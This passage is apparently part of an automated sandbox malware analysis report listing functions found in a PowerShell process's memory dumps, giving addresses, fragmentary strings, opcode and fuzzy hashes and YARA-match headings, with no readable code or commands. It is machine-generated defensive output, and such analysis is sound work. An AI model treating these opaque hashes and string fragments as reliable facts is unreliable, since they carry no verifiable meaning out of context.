h%h, xrefs: 00384D99

Memory Dump Source

Source File: 0000000F.00000002.746966506.0000000000380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_380000_powershell.jbxd

Similarity

API ID:
String ID: 8#h$h%h$h%h$h%h$[h
API String ID: 0-3945192550
Opcode ID: 6e6e2735d29066de443bd1173a915ab0f5819de2d6f65a9fa8f2701ed02a266d
Instruction ID: f3596d33f511622a5a5d665d19661ff7e40d1f071ac12beb15a48eccf921ed9c
Opcode Fuzzy Hash: 6e6e2735d29066de443bd1173a915ab0f5819de2d6f65a9fa8f2701ed02a266d
Instruction Fuzzy Hash: 14124C78A01305EFDB15DF58D580E6ABBB2EF88314F25C0A9E915ABB56C771EC42CB40

Uniqueness

Uniqueness Score: -1.00%

Function 003819D0 Relevance: 6.3, Strings: 5, Instructions: 94
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$p, xrefs: 00381A38
$p, xrefs: 00381A2C
x;), xrefs: 00381A19
x;), xrefs: 00381A4D
$p, xrefs: 003819E2

Memory Dump Source

Source File: 0000000F.00000002.746966506.0000000000380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_380000_powershell.jbxd

Similarity

API ID:
String ID: x;)$x;)$$p$$p$$p
API String ID: 0-2412576120
Opcode ID: 099d6e1168cbd38abaf8558e32ee690c31283b2ff06be92c7780f3a8600d2c3a
Instruction ID: 3757ee575b130d0752fbacc4b852d5043a984540687bf0a591be1450b421b673
Opcode Fuzzy Hash: 099d6e1168cbd38abaf8558e32ee690c31283b2ff06be92c7780f3a8600d2c3a
Instruction Fuzzy Hash: 6F214735700301ABDB29696DD840B3BABDE9BC4310F38846AD446C7385CEB9CD42C361

Uniqueness

Uniqueness Score: -1.00%

Function 00385068 Relevance: 5.4, Strings: 4, Instructions: 373
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'p, xrefs: 003853FC
4'p, xrefs: 003853F0
4'p, xrefs: 0038537D
4'p, xrefs: 00385371

Memory Dump Source

Source File: 0000000F.00000002.746966506.0000000000380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_380000_powershell.jbxd

Similarity

API ID:
String ID: 4'p$4'p$4'p$4'p
API String ID: 0-4019061985
Opcode ID: 6c9ce8543083baf795d3aa98d6f99edca6e350542e6a685a8e8174578f034731
Instruction ID: 9cfa90ad7bdc0f9c70a15dd2bbaa366eede42c1b42ed507b90e415e1f9d64749
Opcode Fuzzy Hash: 6c9ce8543083baf795d3aa98d6f99edca6e350542e6a685a8e8174578f034731
Instruction Fuzzy Hash: 34E14D74B003049FDB15EB68C455B6EBBF2AF88304F2584A9E815AF395CB71DC82CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0038C66E Relevance: 4.3, Strings: 3, Instructions: 559
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

h%h, xrefs: 0038C8A2
h%h, xrefs: 0038C898
4'p, xrefs: 0038C36A

Memory Dump Source

Source File: 0000000F.00000002.746966506.0000000000380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_380000_powershell.jbxd

Similarity

API ID:
String ID: 4'p$h%h$h%h
API String ID: 0-2059351901
Opcode ID: 82de974378c85a395b5f3c4c1593bbad92be8981b3acdca35873a8cf7c1cab53
Instruction ID: e7847761ad3918826fa97d4cbe4d9a47db7754b2e5f0d0025ca1d14556aabe5c
Opcode Fuzzy Hash: 82de974378c85a395b5f3c4c1593bbad92be8981b3acdca35873a8cf7c1cab53
Instruction Fuzzy Hash: 35326174B102149FDB64DB58CD50FAABBB2AF89300F5180D9D909AF355CB71ED828F91

Uniqueness

Uniqueness Score: -1.00%

Function 0038BF47 Relevance: 2.9, Strings: 2, Instructions: 427
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'p, xrefs: 0038C376
4'p, xrefs: 0038C36A

Memory Dump Source

Source File: 0000000F.00000002.746966506.0000000000380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_380000_powershell.jbxd

Similarity

API ID:
String ID: 4'p$4'p
API String ID: 0-3973980265
Opcode ID: d2bc6683e2378df096c483bc488c8277eda1cd50bf53fb0f9f4adba99530bf78
Instruction ID: 8f01e7b2e51959a57b5a9930587e622613e5bfcbe22ebf364edb4665bb101640
Opcode Fuzzy Hash: d2bc6683e2378df096c483bc488c8277eda1cd50bf53fb0f9f4adba99530bf78
Instruction Fuzzy Hash: A9026274B102149FDB64DB58CD50FAABBB2AF89304F5080E9D909AF395CB71ED818F91

Uniqueness

Uniqueness Score: -1.00%

Function 003832B0 Relevance: 2.8, Strings: 2, Instructions: 276
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

tPp, xrefs: 003833EE
tPp, xrefs: 003833E2

Memory Dump Source

Source File: 0000000F.00000002.746966506.0000000000380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_380000_powershell.jbxd

Similarity

API ID:
String ID: tPp$tPp
API String ID: 0-1160507146
Opcode ID: 304ae341ad8918371d36c4c5a0f5faaf2e708196f7e9fb3cecfc57fd06cf9718
Instruction ID: 5156ed840e40198b9a765f8f0dcfe59ca8159b00b6303680e3f1b5b8222f5fe4
Opcode Fuzzy Hash: 304ae341ad8918371d36c4c5a0f5faaf2e708196f7e9fb3cecfc57fd06cf9718
Instruction Fuzzy Hash: 0A9129357003019FCB16AE69C850B6FBBE6AFC5710F2984A9E8459B391CFB1DE41C761

Uniqueness

Uniqueness Score: -1.00%

Function 04A40048 Relevance: 2.7, Strings: 2, Instructions: 236
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

h%h, xrefs: 04A40189
h%h, xrefs: 04A40193

Memory Dump Source

Source File: 0000000F.00000002.779886012.0000000004A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4a40000_powershell.jbxd

Similarity

API ID:
String ID: h%h$h%h
API String ID: 0-778770776
Opcode ID: bee226714db38b6ea3138da2c0a309c8a810d4f2d2659c557974da62d793d6aa
Instruction ID: 1a59b832540b4db15fe548d23eaabb3ece152de200b25518fc03c5531fbfe2ed
Opcode Fuzzy Hash: bee226714db38b6ea3138da2c0a309c8a810d4f2d2659c557974da62d793d6aa
Instruction Fuzzy Hash: E4913C74A04204EFDB54DFA8C581AAEBBF2ABCC314F248469D905AF355CB35EC82DB51

Uniqueness

Uniqueness Score: -1.00%

Function 04A40736 Relevance: 2.7, Strings: 2, Instructions: 197
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

tPp, xrefs: 04A40838
tPp, xrefs: 04A4082C

Memory Dump Source

Source File: 0000000F.00000002.779886012.0000000004A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4a40000_powershell.jbxd

Similarity

API ID:
String ID: tPp$tPp
API String ID: 0-1160507146
Opcode ID: 688796968204f0b0fa53be930ab4c11ffa45983e9a1d23c2e9d7f8175af769ea
Instruction ID: 114a187ac03c8bcefdd8fc55a193f59bd6e2e0c3d6f9e4647238ea14ecdfa8e6
Opcode Fuzzy Hash: 688796968204f0b0fa53be930ab4c11ffa45983e9a1d23c2e9d7f8175af769ea
Instruction Fuzzy Hash: 2F71D535704204DFDB14DF68C5406AEBBE2EBC8320F288469EA599F352DB31EC41EB91

Uniqueness

Uniqueness Score: -1.00%

Function 00380D78 Relevance: 2.6, Strings: 2, Instructions: 107
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

9), xrefs: 00380E78
9), xrefs: 00380E9B

Memory Dump Source

Source File: 0000000F.00000002.746966506.0000000000380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_380000_powershell.jbxd

Similarity

API ID:
String ID: 9)$9)
API String ID: 0-723719325
Opcode ID: 6b48f7c1b92780a77db281ea7943dc7a7070d790595c66513a8ace72d3833b65
Instruction ID: 2aa653359e87701f984408efa37f49182c15909ef053c075710f6180395880dd
Opcode Fuzzy Hash: 6b48f7c1b92780a77db281ea7943dc7a7070d790595c66513a8ace72d3833b65
Instruction Fuzzy Hash: 0D318071A017048FCBADEF68C540A6AB7E5AF98310F2684E9D9049B351D771FC89CB91

Uniqueness

Uniqueness Score: -1.00%

Function 003818A0 Relevance: 2.6, Strings: 2, Instructions: 94
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

T;), xrefs: 003818FD
T;), xrefs: 00381922

Memory Dump Source

Source File: 0000000F.00000002.746966506.0000000000380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_380000_powershell.jbxd

Similarity

API ID:
String ID: T;)$T;)
API String ID: 0-3531563408
Opcode ID: 942bb767479af165f92d538438e8825d35650f8115405e08e491ba59d2a2828d
Instruction ID: 277299e66561a2f52499555122f96b13a987674b2da58d3ac9b942ce71983d98
Opcode Fuzzy Hash: 942bb767479af165f92d538438e8825d35650f8115405e08e491ba59d2a2828d
Instruction Fuzzy Hash: AC2127363043015BDB25697E8891B7BA6DE9FC8310F28847AE545CB2C4DBB5DD86C3A1

Uniqueness

Uniqueness Score: -1.00%

Function 00381884 Relevance: 2.6, Strings: 2, Instructions: 80COMMON

Download Yara Rule

Strings

T;), xrefs: 003818FD
T;), xrefs: 00381922

Memory Dump Source

Source File: 0000000F.00000002.746966506.0000000000380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_380000_powershell.jbxd

Similarity

API ID:
String ID: T;)$T;)
API String ID: 0-3531563408
Opcode ID: 5714e3449f699cea59353328806a17689bed06c3c84fb2cac873bb1c49c261cc
Instruction ID: 95d6c85d02c1fbcdf623f19a8e004eac6eea689801888b7cbf81bde16d636b61
Opcode Fuzzy Hash: 5714e3449f699cea59353328806a17689bed06c3c84fb2cac873bb1c49c261cc
Instruction Fuzzy Hash: 482149267083806FDB2316754861B77BFED4F86300F2D40AAE985DB2D3D6A5CC46C361

Uniqueness

Uniqueness Score: -1.00%

Function 0038BF83 Relevance: 1.7, Strings: 1, Instructions: 410COMMON

Download Yara Rule

Strings

4'p, xrefs: 0038C36A

Memory Dump Source

Source File: 0000000F.00000002.746966506.0000000000380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_380000_powershell.jbxd

Similarity

API ID:
String ID: 4'p
API String ID: 0-481844870
Opcode ID: 08d6219ccb6bc25f701b7bc01e1474d0ddeecd9d83d655ba5371f32b1b7e02bc
Instruction ID: 3d2a4455efd155d26338457c585dc916803dc3501b2c266f0e3cce0b9d0896a8
Opcode Fuzzy Hash: 08d6219ccb6bc25f701b7bc01e1474d0ddeecd9d83d655ba5371f32b1b7e02bc
Instruction Fuzzy Hash: 54029374B102049FDB64DB58C951FAABBB2EF89300F5080D9E9099F395CB71ED818F91

Uniqueness

Uniqueness Score: -1.00%

Function 0038C7E4 Relevance: 1.7, Strings: 1, Instructions: 402COMMON

Download Yara Rule

Strings

4'p, xrefs: 0038C36A

Memory Dump Source

Source File: 0000000F.00000002.746966506.0000000000380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_380000_powershell.jbxd

Similarity

API ID:
String ID: 4'p
API String ID: 0-481844870
Opcode ID: fe5f06c5fa434df694fcba0468d7be8b913a2285731578c9f09725c61473889b
Instruction ID: 0c3dbd3a698f0ed9c4e10a2fd52640f191e40fe456139260f5a18614ca8c3830
Opcode Fuzzy Hash: fe5f06c5fa434df694fcba0468d7be8b913a2285731578c9f09725c61473889b
Instruction Fuzzy Hash: 10027174B10214AFDB64DB54CD50FAABBB2AF89304F5080D9E909AF395CB71ED818F91

Uniqueness

Uniqueness Score: -1.00%

Function 0038C805 Relevance: 1.6, Strings: 1, Instructions: 396COMMON

Download Yara Rule

Strings

4'p, xrefs: 0038C36A

Memory Dump Source

Source File: 0000000F.00000002.746966506.0000000000380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_380000_powershell.jbxd

Similarity

API ID:
String ID: 4'p
API String ID: 0-481844870
Opcode ID: 80f1b246aaef84f8a39538ba19f396178aafc54b1107e8ded6e821a2006a7a29
Instruction ID: 994b3bb3cb840fec22ce8b297f34aaa8747358479119ec0e9fe1876a9b7932ec
Opcode Fuzzy Hash: 80f1b246aaef84f8a39538ba19f396178aafc54b1107e8ded6e821a2006a7a29
Instruction Fuzzy Hash: 47028274B10214AFDB64DB14C950FAABBB2AF89300F5080D9E909AF395CB71ED818F91

Uniqueness

Uniqueness Score: -1.00%

Function 0038CBA8 Relevance: 1.6, Strings: 1, Instructions: 327COMMON

Download Yara Rule

Strings

[h, xrefs: 0038CBC8

Memory Dump Source

Source File: 0000000F.00000002.746966506.0000000000380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_380000_powershell.jbxd

Similarity

API ID:
String ID: [h
API String ID: 0-1382348864
Opcode ID: 5d6deb11f601446642b246a00791b8f1377a64eac8e46d480061f3d92178d413
Instruction ID: efe6ae4233b47a3931e9ffcd6226740f033d4ff3c792f161f2fedc89176cf10b
Opcode Fuzzy Hash: 5d6deb11f601446642b246a00791b8f1377a64eac8e46d480061f3d92178d413
Instruction Fuzzy Hash: 0FE17074B10214DFDB65EB68C944BAABBB2BB88304F2080E5D909AF785CB31DD81DF51

Uniqueness

Uniqueness Score: -1.00%

Function 0021C050 Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

ShowWindow.USER32(?,?), ref: 0021C0BD

Memory Dump Source

Source File: 0000000F.00000002.746656539.0000000000210000.00000040.00000800.00020000.00000000.sdmp, Offset: 00210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_210000_powershell.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: 5999fe9fa298bd03c51cfdf7f975b97b8b8b90a431290fbde79631eb3cd53497
Instruction ID: 2eede9f78c12b3cb696388707e11261b6b7629fc5d6e62cc7c7d4ed0b360e64d
Opcode Fuzzy Hash: 5999fe9fa298bd03c51cfdf7f975b97b8b8b90a431290fbde79631eb3cd53497
Instruction Fuzzy Hash: A9115BB5D003098BCB20DFAAD8487EEFFF5EF88324F24881AD459A7240C7759944CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0021C058 Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

ShowWindow.USER32(?,?), ref: 0021C0BD

Memory Dump Source

Source File: 0000000F.00000002.746656539.0000000000210000.00000040.00000800.00020000.00000000.sdmp, Offset: 00210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_210000_powershell.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: 05342d681bb2b6c5510d8ffd00465dbc37091790cf0cfece1c2220ab805c1c1c
Instruction ID: f486a75c749fcc6a15b28cbb8f8b4d1b6ec2f30b34f0e9cb87c7b4cef08a9ad3
Opcode Fuzzy Hash: 05342d681bb2b6c5510d8ffd00465dbc37091790cf0cfece1c2220ab805c1c1c
Instruction Fuzzy Hash: 9F1128B5D003098BCB20DFAAD8447EEFFF5EF88324F24881AD455A7640C775A944CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 04A4000F Relevance: 1.5, Strings: 1, Instructions: 227COMMON

Download Yara Rule

Strings

h%h, xrefs: 04A40189

Memory Dump Source

Source File: 0000000F.00000002.779886012.0000000004A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4a40000_powershell.jbxd

Similarity

API ID:
String ID: h%h
API String ID: 0-240672060
Opcode ID: 0edbd90d2399738559fd1aef15faf280cedc5c17dd4b76bf38f26518c8e80e37
Instruction ID: 03eecfe2bfb999769d718047123692bc1595d05d5ae51a2e457b2afd8593d605
Opcode Fuzzy Hash: 0edbd90d2399738559fd1aef15faf280cedc5c17dd4b76bf38f26518c8e80e37
Instruction Fuzzy Hash: BB916B74A09204DFDB50CF68C581AAEBBF2EFC9314F1984A9D904AF256C735EC42DB51

Uniqueness

Uniqueness Score: -1.00%

Function 00383294 Relevance: 1.4, Strings: 1, Instructions: 143COMMON

Download Yara Rule

Strings

tPp, xrefs: 003833E2

Memory Dump Source

Source File: 0000000F.00000002.746966506.0000000000380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_380000_powershell.jbxd

Similarity

API ID:
String ID: tPp
API String ID: 0-1477601333
Opcode ID: 32523d2cd14c883d9682e7c45bb3da0a5e9237fc501684aa6e1d66d442b10032
Instruction ID: ebf704a9be4a0ab73a844eb36204abf0ab8f36091cdc7dee9ca3558ea9fcacc6
Opcode Fuzzy Hash: 32523d2cd14c883d9682e7c45bb3da0a5e9237fc501684aa6e1d66d442b10032
Instruction Fuzzy Hash: F351E5346053449FCB16AF29C851A6EBFB2AF84700F1D80E9E8859F392CBB1DE41C791

Uniqueness

Uniqueness Score: -1.00%

Function 0038FC5C Relevance: 1.3, Strings: 1, Instructions: 89COMMON

Download Yara Rule

Strings

4'p, xrefs: 0038FD7A

Memory Dump Source

Source File: 0000000F.00000002.746966506.0000000000380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_380000_powershell.jbxd

Similarity

API ID:
String ID: 4'p
API String ID: 0-481844870
Opcode ID: 39e3ef0eede8b6ef86b4471fb2b1c02b00e08b83de33b7d4707b0e530e25f745
Instruction ID: f91e50e033c0c001077ee93523313b2a0073904e4d49a296045b6ab90e8789b8
Opcode Fuzzy Hash: 39e3ef0eede8b6ef86b4471fb2b1c02b00e08b83de33b7d4707b0e530e25f745
Instruction Fuzzy Hash: C7210A70B0030ADFCB657A35950077E7AF5AF48350F2540B5DA05DB64ADB39CC9687A1

Uniqueness

Uniqueness Score: -1.00%

Function 00385508 Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.746966506.0000000000380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_380000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74a597c8cd21b53c6d32c310b452a5a3de1dac93818e4014e1e3fc068ed97ecc
Instruction ID: 342a415fe16e04aba8d4b8d18a494f983519a8822650e22fec2834c66a4698a4
Opcode Fuzzy Hash: 74a597c8cd21b53c6d32c310b452a5a3de1dac93818e4014e1e3fc068ed97ecc
Instruction Fuzzy Hash: F031AD74B00204AFDB15AB78D851FAF7BB3ABC8304F258424E801AF785CE75DC828B91

Uniqueness

Uniqueness Score: -1.00%

Function 00388B2A Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.746966506.0000000000380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_380000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 249fcc8879cecde1d0c3ede1247b5bb2b35abe0ebf3049096af40904934d1fa7
Instruction ID: c89efd022b163be2f21bd568ecaa61cdefda593985abef41b0214b5412213921
Opcode Fuzzy Hash: 249fcc8879cecde1d0c3ede1247b5bb2b35abe0ebf3049096af40904934d1fa7
Instruction Fuzzy Hash: 9421A1B0A01305DFCB26EF28C540A69B7B6AFC8310BA981E5D818DB209DB31DD80DB61

Uniqueness

Uniqueness Score: -1.00%

Function 003855E5 Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.746966506.0000000000380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_380000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dad15ecd9d71c3fec37e0471e870d9133ef72fea330574c880989a55e42be1d1
Instruction ID: 195c46288b945f22465f8ac82a053776284e5b66ea063620052525516692c059
Opcode Fuzzy Hash: dad15ecd9d71c3fec37e0471e870d9133ef72fea330574c880989a55e42be1d1
Instruction Fuzzy Hash: BF217C74B10304EFCB15AF78D445FAABBB2AB88314F658465E811AF391CB39DC42CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00388AED Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.746966506.0000000000380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_380000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ef2b223f9db0c8fb289b083ea94dda6f8573ba6309cf78ec7a3fea332029459
Instruction ID: 98edbc27f84c8fed6cfe6b0750c7798cd8eddf6f398b79eeab0d660cb8919f7e
Opcode Fuzzy Hash: 8ef2b223f9db0c8fb289b083ea94dda6f8573ba6309cf78ec7a3fea332029459
Instruction Fuzzy Hash: 1F2104B5701300CF8B26BB6894409A9F7B2AFC8320BA985E6C4158F25ACF32CC41D761

Uniqueness

Uniqueness Score: -1.00%

Function 00381690 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.746966506.0000000000380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_380000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd19d4ca7f74f62b510ff70dbc684aeb2072ba76a4342c830305cfc95e5a096e
Instruction ID: bec319988df221ef74989c475a2b36d362c028f4193676b510e3c35af6b138f7
Opcode Fuzzy Hash: bd19d4ca7f74f62b510ff70dbc684aeb2072ba76a4342c830305cfc95e5a096e
Instruction Fuzzy Hash: D201D4363043105BDB2169AA940066AB7DDAFD1361F28847AD9C5C6240EA76DD56C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 0015D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.746537543.000000000015D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0015D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_15d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39c836c8a36160b6de7635a8bde5a150e62039a3ccf721258040c861a70344b1
Instruction ID: 134820c6a51d0dda315540774933cd48576d8112b2540f94a5b7d595b177da3f
Opcode Fuzzy Hash: 39c836c8a36160b6de7635a8bde5a150e62039a3ccf721258040c861a70344b1
Instruction Fuzzy Hash: 52018471504340EAE7205E19D884B66BF98DF41725F28841AFC554E2C6C7799849CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 0015D006 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.746537543.000000000015D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0015D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_15d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 224bacb9506675f3ec03adbdd7cfe85a640d66a51feb877cccf139b4d102aade
Instruction ID: 446f29c55bf050685a4de39c76b4501f2f9bd3db911ce7b7af482d6cdf8f867c
Opcode Fuzzy Hash: 224bacb9506675f3ec03adbdd7cfe85a640d66a51feb877cccf139b4d102aade
Instruction Fuzzy Hash: 7401526140D3C09FD7124B259C94B62BFB4DF53229F1980DBE8948F2D7C2699C48C772

Uniqueness

Uniqueness Score: -1.00%

Function 00381B27 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.746966506.0000000000380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_380000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51d611921106eddc748278a2c20089bf58a48d07e0240e79e4d46a660ec33aee
Instruction ID: 005738ba4dee9f7618be86589dbf744ff2b630e40adb3bbbb8467ba801644db4
Opcode Fuzzy Hash: 51d611921106eddc748278a2c20089bf58a48d07e0240e79e4d46a660ec33aee
Instruction Fuzzy Hash: ECB012301055404FC201CB10C890440BB21DF83125318C1CA9C058F253CB27ED07D751

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 083F2781 Relevance: 1.3, Strings: 1, Instructions: 4COMMON

Download Yara Rule

Strings

D, xrefs: 083F278A

Memory Dump Source

Source File: 0000000F.00000002.783334592.00000000083F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 083F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_83f1000_powershell.jbxd

Yara matches

Similarity

API ID:
String ID: D
API String ID: 0-2746444292
Opcode ID: 01b9cdde00f3e0b4c8e66137df76acc3c68909a0c643a0875796928ab29eea84
Instruction ID: 35d478e951f4a7677930e1d610b92751e41f41cceefa454c70ade6f07e4eb9f4
Opcode Fuzzy Hash: 01b9cdde00f3e0b4c8e66137df76acc3c68909a0c643a0875796928ab29eea84
Instruction Fuzzy Hash: F8A00179652984CFE716CB48C594B40B3A5B744A40FC95490E64987A61C36CED80CA08

Uniqueness

Uniqueness Score: -1.00%

Function 083F278E Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.783334592.00000000083F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 083F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_83f1000_powershell.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 765e9722652d8c21ff4e6edc91f542b265a506f9dfc6133c0364bc6dd73e3213
Instruction ID: e8b505519477d524e590653e6235b729a8f59e7621ab92edebf909369457001a
Opcode Fuzzy Hash: 765e9722652d8c21ff4e6edc91f542b265a506f9dfc6133c0364bc6dd73e3213
Instruction Fuzzy Hash: 73312674740741DFEB258A24C9E07DA33A2EB98B91F54813DCE4A4BB86D32D88C5CB51

Uniqueness

Uniqueness Score: -1.00%

Function 083F24EE Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.783334592.00000000083F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 083F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_83f1000_powershell.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 397d39b856b2331e24fa99ec0a17742be573ba503f0245412b8458cadebdde01
Instruction ID: de21ba509d5a7bd3ffa0a9b180c40f860c572f612353ad8ab5aa9b3df674bc48
Opcode Fuzzy Hash: 397d39b856b2331e24fa99ec0a17742be573ba503f0245412b8458cadebdde01
Instruction Fuzzy Hash: 02316D776043028BD7159E3DCAA435677A3EFDA261B69827ECC454B386E3399482C241

Uniqueness

Uniqueness Score: -1.00%

Function 083F2892 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.783334592.00000000083F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 083F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_83f1000_powershell.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf8019c54d7eecd7ecb72825b252ac4263e27fb55d9b2d2846c2e5672dd85cbf
Instruction ID: 59f2c23c876c8490820133a84f7510967563ccd41cc3961dfd50e713398f9ec3
Opcode Fuzzy Hash: cf8019c54d7eecd7ecb72825b252ac4263e27fb55d9b2d2846c2e5672dd85cbf
Instruction Fuzzy Hash: 011126B1740780DFEB18CF24C8E1B963366EB69F50F84413CC94647B86D3298C84CA61

Uniqueness

Uniqueness Score: -1.00%

Function 083F2522 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.783334592.00000000083F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 083F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_83f1000_powershell.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37fa767e436ac17b2fb5877c6f0116467207dc80d1b8fa6acf8e22e5559358c6
Instruction ID: e98b177b302f519d46130e0080a46770fe10df3f51e209da31971aefece4b370
Opcode Fuzzy Hash: 37fa767e436ac17b2fb5877c6f0116467207dc80d1b8fa6acf8e22e5559358c6
Instruction Fuzzy Hash: 07014775600701D7C7299A2CC4A4B76B3A3FBD8302B6D802EE80A47796D279A4C2C580

Uniqueness

